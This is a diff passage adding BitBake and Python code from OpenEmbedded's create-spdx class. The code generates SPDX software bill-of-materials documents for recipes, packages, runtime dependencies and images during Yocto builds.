+ for subdir, dirs, files in os.walk(topdir):
+ dirs[:] = [d for d in dirs if d not in ignore_dirs]
+ if subdir == str(topdir):
+ dirs[:] = [d for d in dirs if d not in ignore_top_level_dirs]
+
+ for file in files:
+ filepath = Path(subdir) / file
+ filename = str(filepath.relative_to(topdir))
+
+ if not filepath.is_symlink() and filepath.is_file():
+ spdx_file = oe.spdx.SPDXFile()
+ spdx_file.SPDXID = get_spdxid(file_counter)
+ for t in get_types(filepath):
+ spdx_file.fileTypes.append(t)
+ spdx_file.fileName = filename
+
+ if archive is not None:
+ with filepath.open("rb") as f:
+ info = archive.gettarinfo(fileobj=f)
+ info.name = filename
+ info.uid = 0
+ info.gid = 0
+ info.uname = "root"
+ info.gname = "root"
+
+ if source_date_epoch is not None and info.mtime > source_date_epoch:
+ info.mtime = source_date_epoch
+
+ archive.addfile(info, f)
+
+ sha1 = bb.utils.sha1_file(filepath)
+ sha1s.append(sha1)
+ spdx_file.checksums.append(oe.spdx.SPDXChecksum(
+ algorithm="SHA1",
+ checksumValue=sha1,
+ ))
+ spdx_file.checksums.append(oe.spdx.SPDXChecksum(
+ algorithm="SHA256",
+ checksumValue=bb.utils.sha256_file(filepath),
+ ))
+
+ if "SOURCE" in spdx_file.fileTypes:
+ extracted_lics = extract_licenses(filepath)
+ if extracted_lics:
+ spdx_file.licenseInfoInFiles = extracted_lics
+
+ doc.files.append(spdx_file)
+ doc.add_relationship(spdx_pkg, "CONTAINS", spdx_file)
+ spdx_pkg.hasFiles.append(spdx_file.SPDXID)
+
+ spdx_files.append(spdx_file)
+
+ file_counter += 1
+
+ sha1s.sort()
+ verifier = hashlib.sha1()
+ for v in sha1s:
+ verifier.update(v.encode("utf-8"))
+ spdx_pkg.packageVerificationCode.packageVerificationCodeValue = verifier.hexdigest()
+
+ return spdx_files
+
+
+def add_package_sources_from_debug(d, package_doc, spdx_package, package, package_files, sources):
+ from pathlib import Path
+ import hashlib
+ import oe.packagedata
+ import oe.spdx
+
+ debug_search_paths = [
+ Path(d.getVar('PKGD')),
+ Path(d.getVar('STAGING_DIR_TARGET')),
+ Path(d.getVar('STAGING_DIR_NATIVE')),
+ Path(d.getVar('STAGING_KERNEL_DIR')),
+ ]
+
+ pkg_data = oe.packagedata.read_subpkgdata_extended(package, d)
+
+ if pkg_data is None:
+ return
+
+ for file_path, file_data in pkg_data["files_info"].items():
+ if not "debugsrc" in file_data:
+ continue
+
+ for pkg_file in package_files:
+ if file_path.lstrip("/") == pkg_file.fileName.lstrip("/"):
+ break
+ else:
+ bb.fatal("No package file found for %s in %s; SPDX found: %s" % (str(file_path), package,
+ " ".join(p.fileName for p in package_files)))
+ continue
+
+ for debugsrc in file_data["debugsrc"]:
+ ref_id = "NOASSERTION"
+ for search in debug_search_paths:
+ if debugsrc.startswith("/usr/src/kernel"):
+ debugsrc_path = search / debugsrc.replace('/usr/src/kernel/', '')
+ else:
+ debugsrc_path = search / debugsrc.lstrip("/")
+ if not debugsrc_path.exists():
+ continue
+
+ file_sha256 = bb.utils.sha256_file(debugsrc_path)
+
+ if file_sha256 in sources:
+ source_file = sources[file_sha256]
+
+ doc_ref = package_doc.find_external_document_ref(source_file.doc.documentNamespace)
+ if doc_ref is None:
+ doc_ref = oe.spdx.SPDXExternalDocumentRef()
+ doc_ref.externalDocumentId = "DocumentRef-dependency-" + source_file.doc.name
+ doc_ref.spdxDocument = source_file.doc.documentNamespace
+ doc_ref.checksum.algorithm = "SHA1"
+ doc_ref.checksum.checksumValue = source_file.doc_sha1
+ package_doc.externalDocumentRefs.append(doc_ref)
+
+ ref_id = "%s:%s" % (doc_ref.externalDocumentId, source_file.file.SPDXID)
+ else:
+ bb.debug(1, "Debug source %s with SHA256 %s not found in any dependency" % (str(debugsrc_path), file_sha256))
+ break
+ else:
+ bb.debug(1, "Debug source %s not found" % debugsrc)
+
+ package_doc.add_relationship(pkg_file, "GENERATED_FROM", ref_id, comment=debugsrc)
+
+add_package_sources_from_debug[vardepsexclude] += "STAGING_KERNEL_DIR"
+
+def collect_dep_recipes(d, doc, spdx_recipe):
+ import json
+ from pathlib import Path
+ import oe.sbom
+ import oe.spdx
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_deps_file = Path(d.getVar("SPDXDEPS"))
+ package_archs = d.getVar("SSTATE_ARCHS").split()
+ package_archs.reverse()
+
+ dep_recipes = []
+
+ with spdx_deps_file.open("r") as f:
+ deps = json.load(f)
+
+ for dep_pn, dep_hashfn in deps:
+ dep_recipe_path = oe.sbom.doc_find_by_hashfn(deploy_dir_spdx, package_archs, "recipe-" + dep_pn, dep_hashfn)
+ if not dep_recipe_path:
+ bb.fatal("Cannot find any SPDX file for recipe %s, %s" % (dep_pn, dep_hashfn))
+
+ spdx_dep_doc, spdx_dep_sha1 = oe.sbom.read_doc(dep_recipe_path)
+
+ for pkg in spdx_dep_doc.packages:
+ if pkg.name == dep_pn:
+ spdx_dep_recipe = pkg
+ break
+ else:
+ continue
+
+ dep_recipes.append(oe.sbom.DepRecipe(spdx_dep_doc, spdx_dep_sha1, spdx_dep_recipe))
+
+ dep_recipe_ref = oe.spdx.SPDXExternalDocumentRef()
+ dep_recipe_ref.externalDocumentId = "DocumentRef-dependency-" + spdx_dep_doc.name
+ dep_recipe_ref.spdxDocument = spdx_dep_doc.documentNamespace
+ dep_recipe_ref.checksum.algorithm = "SHA1"
+ dep_recipe_ref.checksum.checksumValue = spdx_dep_sha1
+
+ doc.externalDocumentRefs.append(dep_recipe_ref)
+
+ doc.add_relationship(
+ "%s:%s" % (dep_recipe_ref.externalDocumentId, spdx_dep_recipe.SPDXID),
+ "BUILD_DEPENDENCY_OF",
+ spdx_recipe
+ )
+
+ return dep_recipes
+
+collect_dep_recipes[vardepsexclude] = "SSTATE_ARCHS"
+
+def collect_dep_sources(d, dep_recipes):
+ import oe.sbom
+
+ sources = {}
+ for dep in dep_recipes:
+ # Don't collect sources from native recipes as they
+ # match non-native sources also.
+ if recipe_spdx_is_native(d, dep.recipe):
+ continue
+ recipe_files = set(dep.recipe.hasFiles)
+
+ for spdx_file in dep.doc.files:
+ if spdx_file.SPDXID not in recipe_files:
+ continue
+
+ if "SOURCE" in spdx_file.fileTypes:
+ for checksum in spdx_file.checksums:
+ if checksum.algorithm == "SHA256":
+ sources[checksum.checksumValue] = oe.sbom.DepSource(dep.doc, dep.doc_sha1, dep.recipe, spdx_file)
+ break
+
+ return sources
+
+def add_download_packages(d, doc, recipe):
+ import os.path
+ from bb.fetch2 import decodeurl, CHECKSUM_LIST
+ import bb.process
+ import oe.spdx
+ import oe.sbom
+
+ for download_idx, src_uri in enumerate(d.getVar('SRC_URI').split()):
+ f = bb.fetch2.FetchData(src_uri, d)
+
+ for name in f.names:
+ package = oe.spdx.SPDXPackage()
+ package.name = "%s-source-%d" % (d.getVar("PN"), download_idx + 1)
+ package.SPDXID = oe.sbom.get_download_spdxid(d, download_idx + 1)
+
+ if f.type == "file":
+ continue
+
+ uri = f.type
+ proto = getattr(f, "proto", None)
+ if proto is not None:
+ uri = uri + "+" + proto
+ uri = uri + "://" + f.host + f.path
+
+ if f.method.supports_srcrev():
+ uri = uri + "@" + f.revisions[name]
+
+ if f.method.supports_checksum(f):
+ for checksum_id in CHECKSUM_LIST:
+ if checksum_id.upper() not in oe.spdx.SPDXPackage.ALLOWED_CHECKSUMS:
+ continue
+
+ expected_checksum = getattr(f, "%s_expected" % checksum_id)
+ if expected_checksum is None:
+ continue
+
+ c = oe.spdx.SPDXChecksum()
+ c.algorithm = checksum_id.upper()
+ c.checksumValue = expected_checksum
+ package.checksums.append(c)
+
+ package.downloadLocation = uri
+ doc.packages.append(package)
+ doc.add_relationship(doc, "DESCRIBES", package)
+ # In the future, we might be able to do more fancy dependencies,
+ # but this should be sufficient for now
+ doc.add_relationship(package, "BUILD_DEPENDENCY_OF", recipe)
+
+def collect_direct_deps(d, dep_task):
+ current_task = "do_" + d.getVar("BB_CURRENTTASK")
+ pn = d.getVar("PN")
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+
+ for this_dep in taskdepdata.values():
+ if this_dep[0] == pn and this_dep[1] == current_task:
+ break
+ else:
+ bb.fatal(f"Unable to find this {pn}:{current_task} in taskdepdata")
+
+ deps = set()
+ for dep_name in this_dep[3]:
+ dep_data = taskdepdata[dep_name]
+ if dep_data[1] == dep_task and dep_data[0] != pn:
+ deps.add((dep_data[0], dep_data[7]))
+
+ return sorted(deps)
+
+collect_direct_deps[vardepsexclude] += "BB_TASKDEPDATA"
+collect_direct_deps[vardeps] += "DEPENDS"
+
+python do_collect_spdx_deps() {
+ # This task calculates the build time dependencies of the recipe, and is
+ # required because while a task can deptask on itself, those dependencies
+ # do not show up in BB_TASKDEPDATA. To work around that, this task does the
+ # deptask on do_create_spdx and writes out the dependencies it finds, then
+ # do_create_spdx reads in the found dependencies when writing the actual
+ # SPDX document
+ import json
+ from pathlib import Path
+
+ spdx_deps_file = Path(d.getVar("SPDXDEPS"))
+
+ deps = collect_direct_deps(d, "do_create_spdx")
+
+ with spdx_deps_file.open("w") as f:
+ json.dump(deps, f)
+}
+# NOTE: depending on do_unpack is a hack that is necessary to get it's dependencies for archive the source
+addtask do_collect_spdx_deps after do_unpack
+do_collect_spdx_deps[depends] += "${PATCHDEPENDENCY}"
+do_collect_spdx_deps[deptask] = "do_create_spdx"
+do_collect_spdx_deps[dirs] = "${SPDXDIR}"
+
+python do_create_spdx() {
+ from datetime import datetime, timezone
+ import oe.sbom
+ import oe.spdx
+ import uuid
+ from pathlib import Path
+ from contextlib import contextmanager
+ import oe.cve_check
+
+ @contextmanager
+ def optional_tarfile(name, guard, mode="w"):
+ import tarfile
+ import bb.compress.zstd
+
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+
+ if guard:
+ name.parent.mkdir(parents=True, exist_ok=True)
+ with bb.compress.zstd.open(name, mode=mode + "b", num_threads=num_threads) as f:
+ with tarfile.open(fileobj=f, mode=mode + "|") as tf:
+ yield tf
+ else:
+ yield None
+
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_workdir = Path(d.getVar("SPDXWORK"))
+ include_sources = d.getVar("SPDX_INCLUDE_SOURCES") == "1"
+ archive_sources = d.getVar("SPDX_ARCHIVE_SOURCES") == "1"
+ archive_packaged = d.getVar("SPDX_ARCHIVE_PACKAGED") == "1"
+ pkg_arch = d.getVar("SSTATE_PKGARCH")
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ doc = oe.spdx.SPDXDocument()
+
+ doc.name = "recipe-" + d.getVar("PN")
+ doc.documentNamespace = get_doc_namespace(d, doc)
+ doc.creationInfo.created = creation_time
+ doc.creationInfo.comment = "This document was created by analyzing recipe files during the build."
+ doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ doc.creationInfo.creators.append("Person: N/A ()")
+
+ recipe = oe.spdx.SPDXPackage()
+ recipe.name = d.getVar("PN")
+ recipe.versionInfo = d.getVar("PV")
+ recipe.SPDXID = oe.sbom.get_recipe_spdxid(d)
+ recipe.supplier = d.getVar("SPDX_SUPPLIER")
+ if bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d):
+ recipe.annotations.append(create_annotation(d, "isNative"))
+
+ homepage = d.getVar("HOMEPAGE")
+ if homepage:
+ recipe.homepage = homepage
+
+ license = d.getVar("LICENSE")
+ if license:
+ recipe.licenseDeclared = convert_license_to_spdx(license, doc, d)
+
+ summary = d.getVar("SUMMARY")
+ if summary:
+ recipe.summary = summary
+
+ description = d.getVar("DESCRIPTION")
+ if description:
+ recipe.description = description
+
+ if d.getVar("SPDX_CUSTOM_ANNOTATION_VARS"):
+ for var in d.getVar('SPDX_CUSTOM_ANNOTATION_VARS').split():
+ recipe.annotations.append(create_annotation(d, var + "=" + d.getVar(var)))
+
+ # Some CVEs may be patched during the build process without incrementing the version number,
+ # so querying for CVEs based on the CPE id can lead to false positives. To account for this,
+ # save the CVEs fixed by patches to source information field in the SPDX.
+ patched_cves = oe.cve_check.get_patched_cves(d)
+ patched_cves = list(patched_cves)
+ patched_cves = ' '.join(patched_cves)
+ if patched_cves:
+ recipe.sourceInfo = "CVEs fixed: " + patched_cves
+
+ cpe_ids = oe.cve_check.get_cpe_ids(d.getVar("CVE_PRODUCT"), d.getVar("CVE_VERSION"))
+ if cpe_ids:
+ for cpe_id in cpe_ids:
+ cpe = oe.spdx.SPDXExternalReference()
+ cpe.referenceCategory = "SECURITY"
+ cpe.referenceType = "http://spdx.org/rdf/references/cpe23Type"
+ cpe.referenceLocator = cpe_id
+ recipe.externalRefs.append(cpe)
+
+ doc.packages.append(recipe)
+ doc.add_relationship(doc, "DESCRIBES", recipe)
+
+ add_download_packages(d, doc, recipe)
+
+ if process_sources(d) and include_sources:
+ recipe_archive = deploy_dir_spdx / "recipes" / (doc.name + ".tar.zst")
+ with optional_tarfile(recipe_archive, archive_sources) as archive:
+ spdx_get_src(d)
+
+ add_package_files(
+ d,
+ doc,
+ recipe,
+ spdx_workdir,
+ lambda file_counter: "SPDXRef-SourceFile-%s-%d" % (d.getVar("PN"), file_counter),
+ lambda filepath: ["SOURCE"],
+ ignore_dirs=[".git"],
+ ignore_top_level_dirs=["temp"],
+ archive=archive,
+ )
+
+ if archive is not None:
+ recipe.packageFileName = str(recipe_archive.name)
+
+ dep_recipes = collect_dep_recipes(d, doc, recipe)
+
+ doc_sha1 = oe.sbom.write_doc(d, doc, pkg_arch, "recipes", indent=get_json_indent(d))
+ dep_recipes.append(oe.sbom.DepRecipe(doc, doc_sha1, recipe))
+
+ recipe_ref = oe.spdx.SPDXExternalDocumentRef()
+ recipe_ref.externalDocumentId = "DocumentRef-recipe-" + recipe.name
+ recipe_ref.spdxDocument = doc.documentNamespace
+ recipe_ref.checksum.algorithm = "SHA1"
+ recipe_ref.checksum.checksumValue = doc_sha1
+
+ sources = collect_dep_sources(d, dep_recipes)
+ found_licenses = {license.name:recipe_ref.externalDocumentId + ":" + license.licenseId for license in doc.hasExtractedLicensingInfos}
+
+ if not recipe_spdx_is_native(d, recipe):
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ pkgdest = Path(d.getVar("PKGDEST"))
+ for package in d.getVar("PACKAGES").split():
+ if not oe.packagedata.packaged(package, d):
+ continue
+
+ package_doc = oe.spdx.SPDXDocument()
+ pkg_name = d.getVar("PKG:%s" % package) or package
+ package_doc.name = pkg_name
+ package_doc.documentNamespace = get_doc_namespace(d, package_doc)
+ package_doc.creationInfo.created = creation_time
+ package_doc.creationInfo.comment = "This document was created by analyzing packages created during the build."
+ package_doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ package_doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ package_doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ package_doc.creationInfo.creators.append("Person: N/A ()")
+ package_doc.externalDocumentRefs.append(recipe_ref)
+
+ package_license = d.getVar("LICENSE:%s" % package) or d.getVar("LICENSE")
+
+ spdx_package = oe.spdx.SPDXPackage()
+
+ spdx_package.SPDXID = oe.sbom.get_package_spdxid(pkg_name)
+ spdx_package.name = pkg_name
+ spdx_package.versionInfo = d.getVar("PV")
+ spdx_package.licenseDeclared = convert_license_to_spdx(package_license, package_doc, d, found_licenses)
+ spdx_package.supplier = d.getVar("SPDX_SUPPLIER")
+
+ package_doc.packages.append(spdx_package)
+
+ package_doc.add_relationship(spdx_package, "GENERATED_FROM", "%s:%s" % (recipe_ref.externalDocumentId, recipe.SPDXID))
+ package_doc.add_relationship(package_doc, "DESCRIBES", spdx_package)
+
+ package_archive = deploy_dir_spdx / "packages" / (package_doc.name + ".tar.zst")
+ with optional_tarfile(package_archive, archive_packaged) as archive:
+ package_files = add_package_files(
+ d,
+ package_doc,
+ spdx_package,
+ pkgdest / package,
+ lambda file_counter: oe.sbom.get_packaged_file_spdxid(pkg_name, file_counter),
+ lambda filepath: ["BINARY"],
+ ignore_top_level_dirs=['CONTROL', 'DEBIAN'],
+ archive=archive,
+ )
+
+ if archive is not None:
+ spdx_package.packageFileName = str(package_archive.name)
+
+ add_package_sources_from_debug(d, package_doc, spdx_package, package, package_files, sources)
+
+ oe.sbom.write_doc(d, package_doc, pkg_arch, "packages", indent=get_json_indent(d))
+}
+do_create_spdx[vardepsexclude] += "BB_NUMBER_THREADS"
+# NOTE: depending on do_unpack is a hack that is necessary to get it's dependencies for archive the source
+addtask do_create_spdx after do_package do_packagedata do_unpack do_collect_spdx_deps before do_populate_sdk do_build do_rm_work
+
+SSTATETASKS += "do_create_spdx"
+do_create_spdx[sstate-inputdirs] = "${SPDXDEPLOY}"
+do_create_spdx[sstate-outputdirs] = "${DEPLOY_DIR_SPDX}"
+
+python do_create_spdx_setscene () {
+ sstate_setscene(d)
+}
+addtask do_create_spdx_setscene
+
+do_create_spdx[dirs] = "${SPDXWORK}"
+do_create_spdx[cleandirs] = "${SPDXDEPLOY} ${SPDXWORK}"
+do_create_spdx[depends] += "${PATCHDEPENDENCY}"
+
+def collect_package_providers(d):
+ from pathlib import Path
+ import oe.sbom
+ import oe.spdx
+ import json
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+
+ providers = {}
+
+ deps = collect_direct_deps(d, "do_create_spdx")
+ deps.append((d.getVar("PN"), d.getVar("BB_HASHFILENAME")))
+
+ for dep_pn, dep_hashfn in deps:
+ localdata = d
+ recipe_data = oe.packagedata.read_pkgdata(dep_pn, localdata)
+ if not recipe_data:
+ localdata = bb.data.createCopy(d)
+ localdata.setVar("PKGDATA_DIR", "${PKGDATA_DIR_SDK}")
+ recipe_data = oe.packagedata.read_pkgdata(dep_pn, localdata)
+
+ for pkg in recipe_data.get("PACKAGES", "").split():
+
+ pkg_data = oe.packagedata.read_subpkgdata_dict(pkg, localdata)
+ rprovides = set(n for n, _ in bb.utils.explode_dep_versions2(pkg_data.get("RPROVIDES", "")).items())
+ rprovides.add(pkg)
+
+ if "PKG" in pkg_data:
+ pkg = pkg_data["PKG"]
+ rprovides.add(pkg)
+
+ for r in rprovides:
+ providers[r] = (pkg, dep_hashfn)
+
+ return providers
+
+collect_package_providers[vardepsexclude] += "BB_TASKDEPDATA"
+
+python do_create_runtime_spdx() {
+ from datetime import datetime, timezone
+ import oe.sbom
+ import oe.spdx
+ import oe.packagedata
+ from pathlib import Path
+
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ spdx_deploy = Path(d.getVar("SPDXRUNTIMEDEPLOY"))
+ is_native = bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d)
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+ providers = collect_package_providers(d)
+ pkg_arch = d.getVar("SSTATE_PKGARCH")
+ package_archs = d.getVar("SSTATE_ARCHS").split()
+ package_archs.reverse()
+
+ if not is_native:
+ bb.build.exec_func("read_subpackage_metadata", d)
+
+ dep_package_cache = {}
+
+ pkgdest = Path(d.getVar("PKGDEST"))
+ for package in d.getVar("PACKAGES").split():
+ localdata = bb.data.createCopy(d)
+ pkg_name = d.getVar("PKG:%s" % package) or package
+ localdata.setVar("PKG", pkg_name)
+ localdata.setVar('OVERRIDES', d.getVar("OVERRIDES", False) + ":" + package)
+
+ if not oe.packagedata.packaged(package, localdata):
+ continue
+
+ pkg_spdx_path = oe.sbom.doc_path(deploy_dir_spdx, pkg_name, pkg_arch, "packages")
+
+ package_doc, package_doc_sha1 = oe.sbom.read_doc(pkg_spdx_path)
+
+ for p in package_doc.packages:
+ if p.name == pkg_name:
+ spdx_package = p
+ break
+ else:
+ bb.fatal("Package '%s' not found in %s" % (pkg_name, pkg_spdx_path))
+
+ runtime_doc = oe.spdx.SPDXDocument()
+ runtime_doc.name = "runtime-" + pkg_name
+ runtime_doc.documentNamespace = get_doc_namespace(localdata, runtime_doc)
+ runtime_doc.creationInfo.created = creation_time
+ runtime_doc.creationInfo.comment = "This document was created by analyzing package runtime dependencies."
+ runtime_doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ runtime_doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ runtime_doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ runtime_doc.creationInfo.creators.append("Person: N/A ()")
+
+ package_ref = oe.spdx.SPDXExternalDocumentRef()
+ package_ref.externalDocumentId = "DocumentRef-package-" + package
+ package_ref.spdxDocument = package_doc.documentNamespace
+ package_ref.checksum.algorithm = "SHA1"
+ package_ref.checksum.checksumValue = package_doc_sha1
+
+ runtime_doc.externalDocumentRefs.append(package_ref)
+
+ runtime_doc.add_relationship(
+ runtime_doc.SPDXID,
+ "AMENDS",
+ "%s:%s" % (package_ref.externalDocumentId, package_doc.SPDXID)
+ )
+
+ deps = bb.utils.explode_dep_versions2(localdata.getVar("RDEPENDS") or "")
+ seen_deps = set()
+ for dep, _ in deps.items():
+ if dep in seen_deps:
+ continue
+
+ if dep not in providers:
+ continue
+
+ (dep, dep_hashfn) = providers[dep]
+
+ if not oe.packagedata.packaged(dep, localdata):
+ continue
+
+ dep_pkg_data = oe.packagedata.read_subpkgdata_dict(dep, d)
+ dep_pkg = dep_pkg_data["PKG"]
+
+ if dep in dep_package_cache:
+ (dep_spdx_package, dep_package_ref) = dep_package_cache[dep]
+ else:
+ dep_path = oe.sbom.doc_find_by_hashfn(deploy_dir_spdx, package_archs, dep_pkg, dep_hashfn)
+ if not dep_path:
+ bb.fatal("No SPDX file found for package %s, %s" % (dep_pkg, dep_hashfn))
+
+ spdx_dep_doc, spdx_dep_sha1 = oe.sbom.read_doc(dep_path)
+
+ for pkg in spdx_dep_doc.packages:
+ if pkg.name == dep_pkg:
+ dep_spdx_package = pkg
+ break
+ else:
+ bb.fatal("Package '%s' not found in %s" % (dep_pkg, dep_path))
+
+ dep_package_ref = oe.spdx.SPDXExternalDocumentRef()
+ dep_package_ref.externalDocumentId = "DocumentRef-runtime-dependency-" + spdx_dep_doc.name
+ dep_package_ref.spdxDocument = spdx_dep_doc.documentNamespace
+ dep_package_ref.checksum.algorithm = "SHA1"
+ dep_package_ref.checksum.checksumValue = spdx_dep_sha1
+
+ dep_package_cache[dep] = (dep_spdx_package, dep_package_ref)
+
+ runtime_doc.externalDocumentRefs.append(dep_package_ref)
+
+ runtime_doc.add_relationship(
+ "%s:%s" % (dep_package_ref.externalDocumentId, dep_spdx_package.SPDXID),
+ "RUNTIME_DEPENDENCY_OF",
+ "%s:%s" % (package_ref.externalDocumentId, spdx_package.SPDXID)
+ )
+ seen_deps.add(dep)
+
+ oe.sbom.write_doc(d, runtime_doc, pkg_arch, "runtime", spdx_deploy, indent=get_json_indent(d))
+}
+
+do_create_runtime_spdx[vardepsexclude] += "OVERRIDES SSTATE_ARCHS"
+
+addtask do_create_runtime_spdx after do_create_spdx before do_build do_rm_work
+SSTATETASKS += "do_create_runtime_spdx"
+do_create_runtime_spdx[sstate-inputdirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[sstate-outputdirs] = "${DEPLOY_DIR_SPDX}"
+
+python do_create_runtime_spdx_setscene () {
+ sstate_setscene(d)
+}
+addtask do_create_runtime_spdx_setscene
+
+do_create_runtime_spdx[dirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[cleandirs] = "${SPDXRUNTIMEDEPLOY}"
+do_create_runtime_spdx[rdeptask] = "do_create_spdx"
+
+def spdx_get_src(d):
+ """
+ save patched source of the recipe in SPDX_WORKDIR.
+ """
+ import shutil
+ spdx_workdir = d.getVar('SPDXWORK')
+ spdx_sysroot_native = d.getVar('STAGING_DIR_NATIVE')
+ pn = d.getVar('PN')
+
+ workdir = d.getVar("WORKDIR")
+
+ try:
+ # The kernel class functions require it to be on work-shared, so we dont change WORKDIR
+ if not is_work_shared_spdx(d):
+ # Change the WORKDIR to make do_unpack do_patch run in another dir.
+ d.setVar('WORKDIR', spdx_workdir)
+ # Restore the original path to recipe's native sysroot (it's relative to WORKDIR).
+ d.setVar('STAGING_DIR_NATIVE', spdx_sysroot_native)
+
+ # The changed 'WORKDIR' also caused 'B' changed, create dir 'B' for the
+ # possibly requiring of the following tasks (such as some recipes's
+ # do_patch required 'B' existed).
+ bb.utils.mkdirhier(d.getVar('B'))
+
+ bb.build.exec_func('do_unpack', d)
+ # Copy source of kernel to spdx_workdir
+ if is_work_shared_spdx(d):
+ share_src = d.getVar('WORKDIR')
+ d.setVar('WORKDIR', spdx_workdir)
+ d.setVar('STAGING_DIR_NATIVE', spdx_sysroot_native)
+ src_dir = spdx_workdir + "/" + d.getVar('PN')+ "-" + d.getVar('PV') + "-" + d.getVar('PR')
+ bb.utils.mkdirhier(src_dir)
+ if bb.data.inherits_class('kernel',d):
+ share_src = d.getVar('STAGING_KERNEL_DIR')
+ cmd_copy_share = "cp -rf " + share_src + "/* " + src_dir + "/"
+ cmd_copy_shared_res = os.popen(cmd_copy_share).read()
+ bb.note("cmd_copy_shared_result = " + cmd_copy_shared_res)
+
+ git_path = src_dir + "/.git"
+ if os.path.exists(git_path):
+ shutils.rmtree(git_path)
+
+ # Make sure gcc and kernel sources are patched only once
+ if not (d.getVar('SRC_URI') == "" or is_work_shared_spdx(d)):
+ bb.build.exec_func('do_patch', d)
+
+ # Some userland has no source.
+ if not os.path.exists( spdx_workdir ):
+ bb.utils.mkdirhier(spdx_workdir)
+ finally:
+ d.setVar("WORKDIR", workdir)
+
+spdx_get_src[vardepsexclude] += "STAGING_KERNEL_DIR"
+
+do_rootfs[recrdeptask] += "do_create_spdx do_create_runtime_spdx"
+do_rootfs[cleandirs] += "${SPDXIMAGEWORK}"
+
+ROOTFS_POSTUNINSTALL_COMMAND =+ "image_combine_spdx"
+
+do_populate_sdk[recrdeptask] += "do_create_spdx do_create_runtime_spdx"
+do_populate_sdk[cleandirs] += "${SPDXSDKWORK}"
+POPULATE_SDK_POST_HOST_COMMAND:append:task-populate-sdk = " sdk_host_combine_spdx"
+POPULATE_SDK_POST_TARGET_COMMAND:append:task-populate-sdk = " sdk_target_combine_spdx"
+
+python image_combine_spdx() {
+ import os
+ import oe.sbom
+ from pathlib import Path
+ from oe.rootfs import image_list_installed_packages
+
+ image_name = d.getVar("IMAGE_NAME")
+ image_link_name = d.getVar("IMAGE_LINK_NAME")
+ imgdeploydir = Path(d.getVar("IMGDEPLOYDIR"))
+ img_spdxid = oe.sbom.get_image_spdxid(image_name)
+ packages = image_list_installed_packages(d)
+
+ combine_spdx(d, image_name, imgdeploydir, img_spdxid, packages, Path(d.getVar("SPDXIMAGEWORK")))
+
+ def make_image_link(target_path, suffix):
+ if image_link_name:
+ link = imgdeploydir / (image_link_name + suffix)
+ if link != target_path:
+ link.symlink_to(os.path.relpath(target_path, link.parent))
+
+ spdx_tar_path = imgdeploydir / (image_name + ".spdx.tar.zst")
+ make_image_link(spdx_tar_path, ".spdx.tar.zst")
+}
+
+python sdk_host_combine_spdx() {
+ sdk_combine_spdx(d, "host")
+}
+
+python sdk_target_combine_spdx() {
+ sdk_combine_spdx(d, "target")
+}
+
+def sdk_combine_spdx(d, sdk_type):
+ import oe.sbom
+ from pathlib import Path
+ from oe.sdk import sdk_list_installed_packages
+
+ sdk_name = d.getVar("TOOLCHAIN_OUTPUTNAME") + "-" + sdk_type
+ sdk_deploydir = Path(d.getVar("SDKDEPLOYDIR"))
+ sdk_spdxid = oe.sbom.get_sdk_spdxid(sdk_name)
+ sdk_packages = sdk_list_installed_packages(d, sdk_type == "target")
+ combine_spdx(d, sdk_name, sdk_deploydir, sdk_spdxid, sdk_packages, Path(d.getVar('SPDXSDKWORK')))
+
+def combine_spdx(d, rootfs_name, rootfs_deploydir, rootfs_spdxid, packages, spdx_workdir):
+ import os
+ import oe.spdx
+ import oe.sbom
+ import io
+ import json
+ from datetime import timezone, datetime
+ from pathlib import Path
+ import tarfile
+ import bb.compress.zstd
+
+ providers = collect_package_providers(d)
+ package_archs = d.getVar("SSTATE_ARCHS").split()
+ package_archs.reverse()
+
+ creation_time = datetime.now(tz=timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+ deploy_dir_spdx = Path(d.getVar("DEPLOY_DIR_SPDX"))
+ source_date_epoch = d.getVar("SOURCE_DATE_EPOCH")
+
+ doc = oe.spdx.SPDXDocument()
+ doc.name = rootfs_name
+ doc.documentNamespace = get_doc_namespace(d, doc)
+ doc.creationInfo.created = creation_time
+ doc.creationInfo.comment = "This document was created by analyzing the source of the Yocto recipe during the build."
+ doc.creationInfo.licenseListVersion = d.getVar("SPDX_LICENSE_DATA")["licenseListVersion"]
+ doc.creationInfo.creators.append("Tool: OpenEmbedded Core create-spdx.bbclass")
+ doc.creationInfo.creators.append("Organization: %s" % d.getVar("SPDX_ORG"))
+ doc.creationInfo.creators.append("Person: N/A ()")
+
+ image = oe.spdx.SPDXPackage()
+ image.name = d.getVar("PN")
+ image.versionInfo = d.getVar("PV")
+ image.SPDXID = rootfs_spdxid
+ image.supplier = d.getVar("SPDX_SUPPLIER")
+
+ doc.packages.append(image)
+
+ for name in sorted(packages.keys()):
+ if name not in providers:
+ bb.fatal("Unable to find SPDX provider for '%s'" % name)
+
+ pkg_name, pkg_hashfn = providers[name]
+
